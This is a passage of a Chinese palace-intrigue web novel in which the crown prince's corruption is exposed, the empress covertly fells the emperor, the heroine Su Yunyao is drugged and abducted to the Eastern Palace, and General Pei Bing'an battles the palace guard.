云瑶想要进宫见皇上的事,必须暂时搁置,他并非有意阻拦她,而是顾及她的安全,不能让她轻易前去。
等待景王呈上案情,一切尘埃落定之后,她想做什么,他不会再有异议。
第88章 第88章把药喝了吧。
酉时,御书房中烛火通明,龙案之后的元德帝死死盯着手里的册子,龙目震怒圆睁,仿若喷出熊熊怒火,怒意几欲将册子焚烧殆尽。
室内寂然无声片刻,忽然“砰”的一声,元德帝猛地一拍御案,霍然拂袖站了起来。
案上的笔墨纸砚纷纷滚落在地,皇帝突然大发雷霆,惊得一旁的近侍纷纷跪了下去,大气也不敢喘一下。
“传太子来见朕!”元德帝冷声道。
没多久,太子赶到了御书房,还没等他如往常般行礼问安,几本厚厚的册子便呼啦啦扔到了他的面前。
“给朕解释,到底是怎么回事!”元德帝指着那些册子,怒声道。
册上记录着军粮一案钱款的去向及苏云瑶被人追杀的事实,匆匆翻过几页,在看到林相长子林启盛的口供及鲜红指印时,太子缓缓转了转掌中的冷玉扳指,抬眼瞥向角落处的景王,眸底闪过一抹狠厉的幽冷暗色。
他极轻地勾了勾唇,沉吟一瞬后,撩袍直挺挺跪了下去。
“父皇,儿臣冤枉!儿臣行事如何,父皇焉能不知?儿臣不会做出这样的事来,这定然是有人在构陷儿臣!还请父皇明察,还儿臣一个清白!”他面不改色地说。
“证据确凿,你还要狡辩?”
元德帝愤怒至极,霎时间,大发雷霆之后竟血气上涌,头痛欲裂,不由捂着额头颓然坐在了龙椅上。
御案旁,看到元德帝似因动气而犯了头疼的老毛病,太子膝行上前几步,狭长凤眸落下几滴泪来,悲泣地说:“父皇莫要动怒,不要因为儿臣伤了身体。儿臣虽是被冤枉的,但如今惹父皇生了气,便是儿臣的不孝。儿臣只想父皇身体康健,只要父皇安然无恙,要怎么惩罚儿臣,儿臣绝无怨言!”
这番感人肺腑的纯孝之言,让元德帝的怒气平复些许,心中一时涌起些疑虑来。
太子是在他眼皮底下长大的,皇后常夸他仁善孝顺,父子相处之时,他亦是恭敬勤勉,有目共睹,怎会做出这种令他深感痛心失望的事来?
殿内无声中,太子纳罕地看了景王一眼,不动声色地转了转掌中的冷玉扳指。
御书房中没有旁人,只有他在,那些证据分明是他送来的。
不过,他实在奇怪,他这个皇弟平时蠢笨得很,怎么会在这么短的时间内查到了他的事?
“父皇,儿臣并非要为自己辩驳,只是想问一句,是何人查到了这份证据?这些证据又如何能够保证千真万确呢?如果是二弟所查的话”
他拧起眉头,一字一句缓慢地说:“据儿臣所知,那为父皇制香的苏娘子是二弟寻得,她近日坠崖而亡,二弟应当伤心不已,分身乏术,哪有时间去调查这些所谓的证据?莫不是二弟早就深思熟虑、有此打算?”
话音落下,太子微不可察地勾了勾唇。
趁机倒打一耙,祸水东引,污蔑这个蠢笨的皇弟构陷他这个太子兄长,搅浑这一滩水,就算父皇不相信他,此时也会起了疑心。
太子所言并非没有道理,元德帝按着突突直跳的额角,一时没有作声。
正在沉吟思忖间,御书房外响起慌乱的脚步声,转眼间,皇后娘娘闻讯赶了过来。
殿内的情形一看便知。
淡淡扫了一眼双膝跪地的太子,目光相触的瞬间,暗骂一句成事不足败事有余,皇后拧眉移开了视线。
她缓步走到御案之旁,双手扯住元德帝的龙袍衣角,挨着他的膝盖,眼眸含泪,慢慢跪了下去。
“皇上,臣妾只有这一个儿子,要是他有个三长两短,臣妾也不活了。”
元德帝心中亦一酸,扶着她的胳膊,示意她起身,痛心地道:“皇后,天子犯
法与庶民同罪,太子若犯了错,朕也不能姑息他。”
皇后擦了擦脸上的泪,哽咽着道:“臣妾愿一力担保,咱们的皇儿不是那样的人,还请皇上查明真相,不要冤枉了他,要是他真犯了错,再治他的罪不迟。”
元德帝沉沉叹息一声。
证据翔实,几乎确凿无疑,但他心底深处,还是希望太子是被冤枉的。
他按着如针扎般突突作痛的额角,疲惫不堪地挥了挥手,说:“先将太子禁足于东宫,真相查清之前,不许太子迈出东宫一步。”
待太子重重磕了个头离去,御书房中,目睹这一切的景王保持了沉默。
他本来还抱着一丝渺茫的希望,希望太子兄长能够主动认下过错,一力承担自己造成的罪责,但事到如今,他冷眼旁观,愈加清楚,兄长并不像外表那么仁善,反而是个自私自利凶狠险恶的人。
不过,就算他现在不肯认错,等理清真相,铁证如山时,父皇自有公断的。
今日的事,令元德帝大动肝火,心情震怒之后,头疼的老毛病比以前还严重,太医院的张太医把脉看诊后,斟酌许久,开了一张安神止痛的方子。
这方子不能治愈皇上的偏头痛,但能止疼安神,饮过汤药之后,头痛的症状会减轻一些。
下人将熬好的药端上来时,皇后亲自接了过来。
黑褐色的汤药,是每次元德帝犯了旧疾之后都会喝的,不过,这次元德帝脸色苍白地靠在龙榻上,看也不想看那汤药一眼。
“皇上息怒,身体重要,先把药喝了吧。”皇后红着眼眶,轻声劝道。
元德帝睁开龙目,沉沉看了她几眼。
夫妻多年,皇后温婉柔顺,一心为他打理后宫,教养皇嗣,他怎能不知,太子若是真犯了错,她这个当娘的,心里只怕会比他还难受。
无声叹息了一下,元德帝握了握皇后的手,温声道:“婉婉,你放心,如果太子是被冤枉的,朕自会还他清白的。”
婉婉,是皇后林氏的闺名,成婚多年,元德帝私下一直这样叫她。
林皇后眼皮轻轻一跳,垂眸时,眸中闪过一抹复杂的情绪。
只是,再抬眼时,那眸底已涌起盈盈泪水,她用素白绣帕擦了擦泪,声音哽咽地说:“皇上,那太子若是真地犯了错呢?”
元德帝沉默片刻,正色道:“朕,自该秉公处置,给天下人一个交待。”
冷风忽然拂过窗隙,烛火急促地跳动了几下。
林皇后抿了抿唇,垂眸凝视了几瞬那黑褐色的汤药,将药碗送到了元德帝面前。
“皇上,先不要想这么多了,身体要紧,把药喝了吧。”她微微一笑,神色平静地说。
半刻钟后,殿内突然当啷一下,响起瓷碗坠地,重重碎裂的声响。
第89章 第89章若是我身在危险之中,你……
一碗汤药洒了大半,青石地砖洇湿着黑褐色的痕迹。
北风呜咽起来,带来阵阵寒意,龙榻上的元德帝饮过汤药后,突然失去意识,不省人事。
景王萧祐闻讯进殿的时候,正看到林皇后扑在皇帝的身边,两眼含泪,慌乱无措地唤道:“皇上,你醒醒”
元德帝病情突然加重,萧祐惊愕不已,难以置信。
“母后,父皇为何病得这么严重?这到底是怎么回事?”
林皇后拿帕子拭着眼角,似是因焦急而变得六神无主,一直在默默掉泪,悲痛难言。
“你父皇方才动怒,药只喝了半碗,忽然闭上眼睛昏迷了过去,怎么唤也没有回应。”
元德帝病重,皇后好像情急之下不知该如何是好,连太医都忘记了传,景王心急如焚,立即命内侍去传太医。
不消一刻钟,因事关重大,太医院的太医们几乎全都到了殿中。
元德帝病情严重,性命危在旦夕,慌乱之后,景王很快镇定下来。
那碗汤药可疑,他一面命人去查元德帝服用的汤药是否有毒,一面另吩咐了几个太医为元德帝看诊。
张太医听闻皇上病情突然加重,捋着胡须神情惶恐,冷汗都流了下来。
元德帝之前服用了半碗汤药,那药方是他所开,汤药是他亲自盯着熬的,汤药呈送到元德帝面前时,已命宫人试过毒,程序严谨仔细,汤药应该不会出现什么问题。
况且,殿中还有皇后娘娘在此,送入皇上口中的药,即便不会治愈皇上的病情,也不该让皇上病情突然加重至此。
没过多久,汤药检查的结果出来,太医们也为元德帝轮番看诊过。
“汤药可有毒,你们查到了什么?”
“回殿下,微臣等查过,皇上服用的汤药无毒。”几位太医核对过汤药,确认无疑。
闻言,景王紧绷的心弦稍稍放松了一些,只要不是中了要人性命的剧毒,父皇的病便有好转的可能。
“那父皇到底是何病症?”
汤药虽是无毒,但元德帝的病症却似乎有几分中毒的迹象,难以下定论。
不过,据皇后娘娘所说,皇上服了半碗汤药便昏迷过去,期间没有用过其他食物,太医们几番斟酌后,得出个结论——皇上的病症是严重的中风。
“皇上大动肝火,郁气上涌,便会气血逆乱,蒙蔽清窍,以致失去意识,陷入昏迷。”
元德帝牙关紧闭,人事不省,无法再进汤药,只得暂时以针灸之术稳住气息。
冷风呼呼作响,殿内充斥着压抑沉闷的气氛。
林皇后沉默不语,只是捻着佛珠默默垂泪。
景王则不停地来回踱着步,长眉紧皱一团,心中甚至暗暗有些后悔自责—他思忖着,父皇之所以生了重病,跟太子皇兄犯下的那些过错脱不开干系,那些案情确实应该让父皇知晓,可他忽视了父皇本就年事已高,又有头疼的顽疾,此番打击对父皇来说一时难以承受,他应该想个周全的法子徐徐告诉父皇,而不该如此直截了当,害得父皇病情加重!
太医行过针,元德帝微弱的气息平复了些许,萧祐寸步不离地坐在榻前守着,一刻也没走开过。
夤夜已至,冷风卷过屋顶,檐下铁马凌乱叮咚。
林皇后捻着手里的佛珠,嘴里不断轻声念着阿弥陀佛,看上去满脸都是担忧之色。
“都怪太子做了错事,惹得你父皇动怒,若是我早知他会这样,定然饶不了他——”
话音落下,林皇后眼角的余光瞥向龙榻上的元德帝,眸底的冷漠狠厉一闪而过,短短瞬间,又恢复了潸然欲泣的模样。
元德帝后宫清静,仅有嫔妃数人,自徐妃与景王的母妃早逝后,后宫没有再进美人,只有林皇后一人相伴左右。
帝后伉俪情深,是为臣子的楷模,如今元德帝病重,林皇后自然表现得伤心难过。
看到母后一个劲地垂泪,景王心里也不好受。
母妃去世后,他便另立王府出宫居住,虽没在皇后娘娘膝下长大,但平时林皇后对他极为慈爱,他对这位母后也多有敬重。
只是如今父皇病重,皇兄又被禁足东宫,皇后夹在中间自责难过,景王唏嘘感叹,自责懊悔,也忍不住红了眼眶。
“母后,事已至此,您也不必再自责了,当务之急,是让父皇的病赶紧好起来。”
林皇后擦了擦眼泪,哽咽着说:“你说的何尝不是,可眼下太医们都束手无策,我们该如何是好?要是你父皇有个三长两短,我也不想活了”
元德帝没有丝毫苏醒的迹象,景王心中悲痛,却也一筹莫展,林皇后心事重重地看了眼外面黑漆漆的夜色,对他道:“天色不早了,这里有我照顾你父皇,你回去歇息歇息吧。”
心中担忧父皇,萧祐不肯离开半步,反体恤林皇后身体不好,请她先去休息。
“儿臣年轻,可以在这里侍奉父皇,还是母后先回殿中休息吧,不要熬垮了身体。”
劝他离开无果,林皇后心中暗暗冷笑几声,留下心腹宫女在此,趁着夜色回了坤宁宫。
殿中,太子早已等候多时,看到林皇后缓步走了进来,忙迎上去问:“母后,事情怎么样了?”
他一脸惶恐不安之色,苍白的额角挂着细密的冷汗,林皇后面无表情地睨了他一眼,斥道:“蠢货,若非本宫今日及时出手,别说你的太子之位不保,只怕你的脑袋都要搬家。”
太子擦了擦额角的冷汗,悻悻笑道:“儿臣知道母后一定不会见死不救,就算看在珍儿的
面子上,母后也会保住儿臣的。”
提到太子妃,皇后冷漠的眸色泛起一丝温和,唇角也微微扬了起来。
“只要你时刻记得自己的身份,不忘本宫是看在珍儿的份儿上才看重你几分,本宫自会让你登上皇位,继承大统。”
闻言,太子不动声色地转了转掌中的冷玉扳指,狭长的凤眸微微眯起。
“母后的意思是,让父皇”
他压低声音,抬手做了个抹脖子的动作。
反正宫中禁卫尽听东宫调度,届时皇宫戒严,他差人神不知鬼不觉地杀了父皇,自己便可以名正言顺地登上皇位。
谁料,林皇后却冷冷一笑,看着他道:“现在还不是时候,切记沉住气,莫要露出马脚来。本宫且问你,你觉得,以景王的手段,能在短短时间内查到你贪腐军粮和暗杀苏娘子的证据吗?”
太子微微一愣,随即恍然大悟地拧起了眉头。
“母后是说,有人暗中查获证据交给了他?”
林皇后意味深长地笑了笑,思忖着慢慢道:“知道你的事的人,除了你父皇与景王,还有背后查获证据的人。你父皇苟延残喘不了多久,景王胸无城府也不足为虑,只有这背后的人是个巨大的隐患。若是此人将查获的证据散布于朝堂,届时朝臣口诛笔伐,悠悠众口难堵,若是再牵扯出旧事,只怕你我都会陷入万劫不复之地。”
殿内烛火忽然跃动几下,想到那死不见尸的苏娘子,太子悄然转了转冷玉扳指。
暗地查案的人是谁,他心中已经有数,只要查清景王近几日去过的地方,便能找到苏娘子的藏身之处,不过要除掉那位碍事的裴将军,还得用些手段。
太子唇畔泛起意味不明的笑意,压低声音附耳对林皇后道:“母后的意思,儿臣明白了。想要将这背后之人揪出来,并非难事,儿臣只需略施小计”
~~~
一张即刻远赴边境任职的调令送到裴秉安的手中时,元德帝病重的消息尚未传到宫外。
不过,元德帝身体有恙,接连两日没有上朝的事倒是容易打探到,收到调令时,裴秉安沉默着思忖了许久。
景王带着检举太子的证据进宫之后,没有差人送来任何消息,他却收到这样一份调令——若是他不遵照圣意离京,轻则可判渎职之罪,重则有流放杀头的可能。
君臣数年,对元德帝的脾性多有了解,裴秉安深知,皇帝不会不过问他的意愿便如此武断专行。
“景王殿下没有出宫,也未曾听闻太子受到什么惩罚,莫不是宫中出了什么变故?”
看过裴秉安的调令,不由想到身体有恙的皇舅,苏云瑶秀眉蹙起,忧心忡忡。
房内一灯如豆,暖黄烛光映在她忧虑的眸中,裴秉安沉沉看着她,唇角不悦地抿成一条直线。
“担心景王?”他淡声道。
苏云瑶睁大眸子看着他,下意识点了点头。
他们身在宫外,不知宫中到底是何状况,若是宫中生变,景王与皇舅的安危,她都十分担心。
裴秉安默然片刻,突然道:“若是我身处危险之中,你可会在意?”
他莫名其妙说这样的话,很不像他平时的性子,苏云瑶有些诧异。
不过,仰首看了他一眼,撞到他黑沉的眸子,她忽然耳根一热,不自在地移开了视线,没有与他对视。
“你帮我这么多,可以说是我的救命恩人,我怎会不担心?”她纤细的手指绞着衣袖,声音放得很轻。
烛火微微晃了晃,悠亮光线下,裴秉安沉默无言地站在暗影中,眸色悄然黯淡了几分。
救命恩人。
她只当他是救命恩人,所以才担心他么?
更漏声声,夜半时分,他换了一身黑色劲装,临离开时叮嘱道:“我离开后,你莫要出门,记得关门闭窗,在房里呆着,无论发生什么,都不要离开这里,等我回来。”
他现在无诏不能入宫,只得趁着夜色亲自去一趟宫中打探消息,这客栈虽有他的亲卫巡视,但担心会有疏漏之处,他特意多嘱咐她几句。
依依不舍地送他到门外,苏云瑶自袖间掏出一只放着平安符的香囊。
这香囊是她亲手所制,平安符也是她亲去庙中求来的,宫中情形不明,她担心他只身前往,会遇到危险。
“你戴在身上,保平安的。”
第一次送他这种东西,她有些不好意思,故作淡定得将那香囊塞到他手里,她便退后了几步,欲盖弥彰地抬头打量着皎洁的圆月,眼睛却偷偷注意着他的反应。
裴秉安劲挺长指捏紧了那只香囊,唇角不易察觉地勾了起来。
“唔,多谢。”
他轻咳几声清了清嗓子,大掌握紧了那只香囊,本想挂在腰封上,又怕行动间弄丢了,便小心翼翼将香囊揣在了怀里。
他如此珍重她送的东西,苏云瑶眨了眨葳蕤长睫,心头悄然泛起丝丝甜意。
清朗月辉遍洒地上,暗夜之中,男人翻身上马,很快策马消失在夜色中。
站在阁楼上,凭栏眺望着那愈来愈远的挺拔身影,苏云瑶捏紧了手中的绣帕,许久都没有回房。
夜色中,躲在暗处的人看到一匹快马如离弦之箭般疾驰离开后,迅即无声朝阁楼围了过来。
楼梯响起轻微的咯吱声。
苏云瑶秀眉拧起,察觉到不对劲来。
不过还没等她来得及做出反应,暗处的人如鬼魅般悄然现身,浸了蒙汗药的湿巾帕捂住了她的口鼻。
夜色已深,阁楼窸窣的动静未被卫兵发现。
苏云瑶被塞进早已侯在角落处的马车里,继而凌乱的马蹄声急促响起,马车径直向东宫驶去。
第90章 第90章苏娘子不见了。
四周好像全是看不清楚的晦暗夜色。
全身没有一点儿力气,像陷入满是泥泞的沼泽中难以动弹,纤长浓密的眼睫挣扎着颤动几下,苏云瑶勉强睁开了眼睛。
她躺在一张宽阔的榻上。
榻上铺着柔软的金丝锦被,绯色纱帐随风飘动,辍着珍珠宝石的摇铃悬在一旁,发出清脆的叮咚声,不知作何用处。
这是一个未曾来过的陌生地方,苏云瑶蹙眉揉了揉额角,恍惚记起了晕倒前的情形。
有人埋伏在客栈中,等裴秉安策马离开之后,便借机用迷药迷晕了她。
对方会是谁呢?莫非又是太子的人?
外面忽然有脚步经过,隐约传来询问声。
“你们守在这里做什么?”
被问的人支支吾吾地回答:“太子妃娘娘,是殿下让我们守在这里的。”
“里面可是有人 ?”
“有,不,不没有”
突然,尖细的嗓音响起,强势地打断了对方的话:“混账东西,你们竟敢欺骗本宫,是不是皮痒想挨打了?把门开开!”
外面的人似乎踌躇了一会儿,接着吱呀一声门扉打开,有人慢慢走了进来。
苏云瑶无力动了动手指。
她现在浑身没有力气,一点儿也动弹不了,太子妃带着丫鬟径直朝床榻边走了过来,脚步声越来越近,她只得再次闭上了眼睛。
纱帐被人撩了起来,浓郁的香气弥漫进来,苏云瑶感受到一道打量的视线像刀子似的,来回在她脸上逡巡了许久。
她闭着眼睛屏气凝神,努力让自己表现得像在昏迷中,尽量不露出一点儿异样。
片刻后,她听到太子妃冷笑一声,压低声音道:“她是谁?太子为何要将她关在这里?看她这脸蛋真不错,难不成又是他从外面寻来的?”
丫鬟哼了一声,忿忿地说:“殿下别急,我去问清到底怎么回事。”
只是,还没等那丫鬟出去,一道急促的脚步声愈来愈近,转眼间,太子大步走了进来。
外面夜色浓重,殿内亮如白昼。
他一身白色锦袍发束玉冠,看上去如往常那般气质温润风度翩翩,只是在看到太子妃的那一瞬,狭长凤眸微微眯起,闪过一丝冷淡的不悦之色。
不过那冷色转瞬即逝,太子勾起唇角笑着,温声道:“你怎么到这里来了?”
太子妃斜眼看着他,猛地一跺脚,尖细的嗓音扬起时划破寂静,直刺人的耳膜。
“这女人是怎么回事?你是不是又从外面弄女人回来了?你再这样,我非得去告诉母后不可!”
说着,她一把抓起桌上的茶盏,“啪”地一声,茶盏摔在地上,碎片四溅。
褐色茶水打湿了她身上艳丽至极的绯红色织锦长裙,留下一片洇湿的污渍。
“珍儿不要动怒,事情不是你想的那样,”像是早已习惯了太子妃的骄横跋扈,太子毫不在意地笑了笑,长臂一抬勾住她的腰,揽着她向外走去,“这个女人有大用处,母后吩咐过我先留着她的性命,等利用完她,就把她杀了。”
他温声细语哄着,太子妃对此似乎很受用,娇嗔地责怪了他几句,声音愈来愈远,两人走了出去。
房门砰的一声带上,殿内又恢复了寂然无声。
过了许久,听到外面再没有一点儿动静传来,苏云瑶悄悄睁开眼睛,小心翼翼地拥被坐了起来。
她一向冷静从容,处事不惊,遇到这种绑架,也很快从最初醒来时的震惊慌乱中平静下来。
从方才太子与太子妃的对话中,不难推测出自己现在是在东宫,太子一再想要杀她,把她迷晕了关在这里,并不算意外,只是,她有一点十分不解——据说太子妃是平民出身,可刚才听她说话的态度颐指气使,连太子也要让着她,甚至她提到皇后时语气分外亲昵,好像皇后不会偏向太子,而必定会偏向她似的。
想到娘亲曾无意提起过,她和皇兄的关系疏远淡漠,与那位皇嫂有关——突然,脑海中一个影影绰绰的念头逐渐清晰起来,苏云瑶震惊地睁大杏眸,难以相信过后,心一下紧紧揪了起来。
如果她猜测得不错的话,太子因案情败露地位不稳,皇后与太子为了保守住那个巨大的秘密,也为了让太子顺利登基,已决定先下手为强。
皇舅的病情定然是太子与皇后故意为之,而宫中想必已设好了圈套,正等待着裴秉安进入。
一时之间,她甚至顾不上自己的安危,从来不信什么神佛保佑的人,白皙的额角全是冷汗,双手合十念念有词,希望他顺利行事、安然无恙。
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夜色深沉,高挂的灯笼散发着微弱的光,光线照亮之处的宫殿门外,却不见轮班值守的禁卫军。
裴秉安微微拧起剑眉。
他打马到了皇宫外,为了不惊动太子的人,特意把马放在远处步行走近,本欲翻墙跃进宫中,却没想到宫中值守如此松散。
金吾卫是他麾下旧部,戍守整个京都,而宫中值守有禁卫军承担,禁卫统领是东宫僚属。
近日皇上生病没有上朝,禁卫更应严加值守皇宫才对,如此纪律散漫,实在不合常理。
思忖片刻后,裴秉安长指抵在唇畔吹了声长哨。
这是青骓的号令,听到将军的哨声,青骓扬起四蹄奔了过来。
哒哒的马蹄声响起,在寂静的宫殿外分外清晰。
裴秉安撩袍翻身上马,径直打马越过宫门,一路疾驰到了养心殿外。
养心殿外有一队侍卫戍守,看到裴秉安驱马走近,为首的队长按着腰间长刀走了过来。
“将军可是奉诏前来?”他高声问道。
裴秉安翻身下马,没有多言,长指从袖间摸出张令牌。
他持有可以随意进出宫殿的金字令牌,乃是元德帝所赐,队长见状,忙拱了拱手放行。
这些侍卫乃是皇帝近卫,平日的职责便是戍守养心殿。
裴秉安淡淡扫了他们一眼,只见众人身着轻铠,佩戴腰刀和弓箭,虽是尽职尽责地守在殿外,但有熬了大半夜,难免神色倦怠,有几个还不断地打着哈欠。
“诸位辛苦了,晚间值守,责任重大,莫要掉以轻心。”他沉声道。
他这样一提醒,队长便发现了有几个偷懒打瞌睡的,遂过去挨个踢了几脚,告诉侍卫们值守警醒些。
短短数息过去,亲眼看到侍卫们精神抖擞起来,裴秉安方才进了养心殿。
殿中烛火幽亮,寂然无声,龙榻上的元德帝依然昏迷未醒,短短两日,龙颜消瘦苍白,气息也微弱了许多。
景王衣不解带地侍奉在龙榻前,未曾远离过片刻。
元德帝一直未曾苏醒,他年轻俊朗的脸庞笼罩着一层浓重的愁云,眼睛布满了鲜红的血丝。
裴秉安夤夜时分贸然出现在这里,景王本该惊讶的,可这两日因为担心父皇病情而心力憔悴,其余的,他已无暇去分心思考。
“裴将军,你来了。”景王点头打了个招呼,开口时嗓音干哑得厉害。
这种情形,无需过多解释,元德帝的病情看上去很是严重,裴秉安剑眉几乎紧拧成一团,神色沉凝不已。
“殿下,据臣所知,皇上虽有头疼的顽疾,身体却康健,短短两日,为何会病得如此严重?”
景王深吸口气,无力而悲痛地道:“是因为皇兄的案子,父皇大动肝火,才引起了中风。”
裴秉安不置可否,思忖片刻后道:“殿下,云瑶所制的熏香可缓解皇上的顽疾,何不在殿中燃香,说不定对皇上病情有益。”
这个主意让景王眼神突然一亮,立即从椅子上站了起来。
父皇昏迷不醒,无法进汤药,太医们施了针灸之术却见效甚微,若是点燃紫薇伴梦香,缓解父皇的头痛症状,说不定能好起来。
“裴将军说得是,本王这就让人去取。”
只是还没等他派去的人取来紫薇伴梦香,养心殿外突然响起整齐划一的脚步声。
夜色黑沉如墨,禁卫军不知从何处冒了出来。
沉重的脚步声犹如战鼓擂动,滚雷炸响。
为首的禁军统领一声令下,整个养心殿被卫兵密不透风地围了起来。
“裴秉安夜间擅闯养心殿,意欲与景王内外勾结谋害皇上,我等奉太子之命捉拿谋逆贼子,殿里的人听清了,若是出来乖乖认罪伏诛,太子殿下可留你们一具全尸!”
景王一时没有反应过来,眼神震惊而迷茫地看向裴秉安,喃喃地问:“皇兄糊涂了吧,你我何时勾结谋害父皇?”
裴秉安早有预料,神色未见半分波澜,只是淡声道:“殿下,欲加之罪何患无辞,事到如今,你还看不出来这是太子在污蔑你我二人,想要置我们于死地吗?”
说话间,他抵唇吹了声口哨,青骓应声进了殿,还没等景王反应过来,一只长臂拎起他的衣领,将他扔到了马背上。
“待会儿你寻机离开这里,先去找个安全的藏身之处。”
景王下意识抓紧了缰绳,道:“本王走了,那你呢?”
裴秉安拧眉看了他一眼:“你不走,被禁军捉住了,只会拖累我。”
景王被噎住,又道:“那父皇呢,我走了,父皇怎么办?”
“放心,我会保护皇上的。”裴秉安沉声道。
殿外,禁卫统领高坐在马背上,趾高气扬地宣布着殿里的人莫须有的谋逆之罪,太子殿下若是登基,从龙之功的高官厚禄想想便让他垂涎不已,哪里在意殿里的皇帝是死是活。
“别敬酒不吃吃罚酒,不肯出来受降,就放箭了”
话还未说完,只见殿内一道高大挺拔的身形闪出。
戍守养心殿的队长手持弓箭与殿外的禁卫军对峙时,听到耳旁有人说了一句“借弓箭一用,多谢。”
弓弦拉紧,短短数息间,箭簇下压,对准了马背上的禁军统领。
倏然,一声凌厉的破空之响,羽箭脱弦而出,呼啸着飞向了远
处。
“咚”的一声闷响,禁军统领如破麻袋般坠下了马背。
箭簇划破喉管,鲜血四溅开来,他痛苦地捂着喉咙,发出呼哧呼哧的艰难喘气声,双眼扭曲地凸了出来,身体不停地抽搐抖动着。
这种情形太过骇人,禁军顿时傻了眼,原本围拢在前的卫兵呼啦啦往后散去,生怕晚离开一息,那准头极佳的箭簇便会落在自己身上。
裴秉安没有手下留情,箭簇接二连三飞了出去。
此起彼伏的哀嚎声接连响起,围堵的禁军打开了一个缺口。
景王伏在马背上抖了抖缰绳,青骓快如闪电般冲出了养心殿,很快消失在夜色中。
待裴秉安手中的羽箭用完之后,副统领从最初的震惊中回过神来,命令禁军将养心殿又围了起来。
他暗忖,养心殿中侍卫不过十多个,禁军人数有数千之众,在数量上呈压倒之势,就算殿里的裴将军孤勇,也抵不过持着兵刃的数千卫兵。
不过,饶是禁军人数众多,裴秉安也丝毫不见畏惧。
在战场上他曾以一敌千,禁军大多是没上过沙场的卫兵,于他而言,对付他们就像砍瓜切菜一般简单。
只是,要砍数千刀,也不亚于一场鏖战。
直到晨光熹微之时,手中的刀柄染透了血色,雷震虎与吴靖率领金吾卫前来,悉数捉拿了禁军,这场鏖战才终于暂停。
与部下汇合,裴秉安扔下手中长刀,拧眉看了眼尽是斑斑血迹的黑色长袍,长指在衣襟中摸索几下,将怀里的香囊拿出来看了看。
待看到放着平安符的香囊完好无损,他紧皱的眉头才舒展些许。
宫中已成了尸山血海,金吾卫士兵清扫宫廷时,青山神色焦急地穿过大半个皇宫,见到自己的主子时,他抹着脸上的急汗,道:“将军,苏娘子不见了。”
裴秉安握着香囊的长指微微一僵,循声看向他,沉冷神色霎时如覆冰霜。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
第 91 章【VIP】
第91章 第91章拥进坚实的怀抱中。……
天光还未亮起,冷风掠过窗隙,绯红幔帐上的摇铃叮咚作响。
清脆悦耳的声音,扰的苏云瑶越发心慌意乱。
厚重的门窗将外面的一切与此隔绝。
光线朦胧晦暗的殿内,似乎隐藏着看不见的刀光剑影,让她的心弦几乎紧绷到极致,每一次的呼吸都变得沉重而艰难。
不知裴秉安是否识破了太子的圈套,若是他有个三长两短
只要一想到那种可能,她便手脚冰凉,浑身发冷,胸口像有一把利刃在来回地搅动着,心痛得简直难以承受。
未到天亮时分,殿内安静得可怕,兴许外面的人以为她还在昏迷中,无人靠近这座偏殿。
默默求神拜佛了许久,苏云瑶定了定神,强迫自己尽快冷静下来。
也许事情不会像她想得那么糟。
毕竟裴秉安那厮身经百战,旁人难及,说不定这个时候他已突破重围,全身而退。
眼下她自己的处境同样凶险。
她应该先想一想如何从这里脱身,否则万一太子将她当做胁迫他的人质,便会给他徒增许多麻烦。
只是,迷药的效果不容小觑,她虽醒了过来,脑袋却昏昏沉沉的,手脚也软绵绵地使不上什么力气。
苏云瑶悄无声息地掀被下榻,视线在殿内打量了一圈。
这是一间偏殿,殿中装饰奢华不说,还有些奇怪。
凉山暖玉铺就的地板,能够清晰映出人的身姿。
一面足有一人多的高铜镜旁,摆放着宽阔的金丝楠木椅子,椅背和扶手处都拴着手指粗细的金链,不知作何用处。
夜风悄然吹过,纱幔摇曳拂动,榻上的摇铃发出细微的碰撞声。
苏云瑶蹙眉移开视线,看向四壁挂着的画作。
一幅绘着江河山川与明月的画挂在最显眼的位置。
太子擅丹青,之前见过他作这幅画,细细打量了几眼,确认这就是那幅无疑,苏云瑶不由抿唇思忖起来。
与太子只见过寥寥一面,已领教过对方表里不一手段凶狠的一面,但他到底是个什么样的人,她尚不清楚。
若想从这里脱身,她必须得稳住太子,找到离开的机会。
殿内有一尊四足蟠龙香炉,她默默思忖片刻,将香囊中的曼陀罗香饼放了进去。
这香饼便是俗称的迷魂香,她日常带在香囊中以备不时之需,没想到会在这里派上用场。
不一会儿,缭绕清香便在屋内弥漫开来,她用绣帕捂着鼻子,以防吸进太多昏睡过去。
殿外响起渐近的脚步声,突然,殿门吱呀一声,有人缓步跨过了门槛。
冷风倏然灌了进来,灯烛紧张似地颤动了几下,太子眯起凤眸扫了一眼殿内的人,眉头微微抬了抬。
他原以为,苏娘子被带到东宫,小命攥在他的手中,此时应该是一副紧张无措,杏眸含泪,楚楚可怜的样子。
没想到,看到他进来,她神色很是平静,甚至还极为有礼地朝他福了福身。
太子意味不明地勾了勾唇,撩袍坐在楠木椅上,苍白劲瘦的长指摩挲着扶手处的金链。
链条粗细不一,若是将它分别拴住女子的手腕脚踝之处,任由人随意施为,那欺霜赛雪的肌肤只怕会留下道道红痕。
红白交错的痕迹,想想便让人心底悸动不已。
只是眼前的人不似他想得那般娇弱,他只得暂时按下灼热的躁意,耐心得同她讲清楚,她现在到底是什么处境。
“在等裴将军来救你?要让你失望了,只怕他现在早已死在乱刀底下,连全尸都没有了。”
太子阴恻恻哂笑,长指翻来覆去玩弄着金链,细密窸窣的响动充斥在殿内。
饶是已镇定如常,听到他这样说,苏云瑶心底还是如被尖锥刺痛,眼泪差点夺眶而出。
若不是裴秉安也许还活着的念头支撑着,她恨不得拔下发上的金簪,与眼前面目可憎的太子同归于尽。
可为了能够活着再见他一面,她深吸口气压下心中的滔天恨意,打起精神笑了笑,与太子虚以为蛇,小心周旋起来。
“殿下提那武夫做什么?他是死是活,与民女有何干系?民女是在等殿下。”
这话出人意料,太子靠在椅背上,饶有兴致地转着掌中的冷玉扳指,道:“等本宫?说来听听。”
苏云瑶垂下长睫,努力回忆了一番当初宋婉柔在裴府时矫揉造作的举止,片刻后,似有所得,抬手拂了拂额前的一缕乌发。
她极轻地叹了口气,转眸看着那幅江山明月图,似是有无限遗憾地说:“这幅画,是民女与殿下相识的见证。殿下芝兰玉树,如天上皎月高不可攀,民女自知身份低微,自画舫一别之后,虽是心中时常记起殿下,却不敢贸然造访东宫,只怕殿下嫌弃。”
太子玩味地摆弄着冷玉扳指,目光肆意而灼热地打量着她娇美无双的脸庞,道:“苏娘子此话是真是假,本宫可没看出你有这样的心意。”
苏云瑶摸出绣帕,捂唇嘤嘤啜泣时,暗自瞥了眼那香气袅袅的香炉。
